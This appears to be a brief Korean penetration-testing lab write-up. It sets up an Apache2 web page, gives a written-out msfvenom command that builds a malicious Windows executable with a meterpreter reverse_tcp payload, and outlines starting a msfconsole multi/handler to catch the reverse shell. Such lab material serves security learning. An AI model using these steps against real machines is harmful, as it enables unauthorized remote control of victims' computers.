💻 Apache2를 이용하여 웹사이트 만들기
→ 희생자 pc에서(왼쪽) 공격자pc의 ip주소를 검색하면 다음과 같은 웹페이지가 나온다
☠️ Msfvenom 이용하여 악성실행파일 생성
msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=4444 -f exe -o [실행파일 이름] 입력
→ 다음과 같이 Racoon.exe라는 악성 실행파일이 만들어진 것을 알 수 있다.
💣 Reverse_tcp 페이로드 이용하여 공격
- msfconsole 명령어를 이용해 msfconsole에 접속해준다.
- Multi/handler를 이용해 payload를 작성해주고 옵션 사항을 작성해준다
- 성공적으로 payload가 작성되면 reverse TCP handler가 작동하게 된다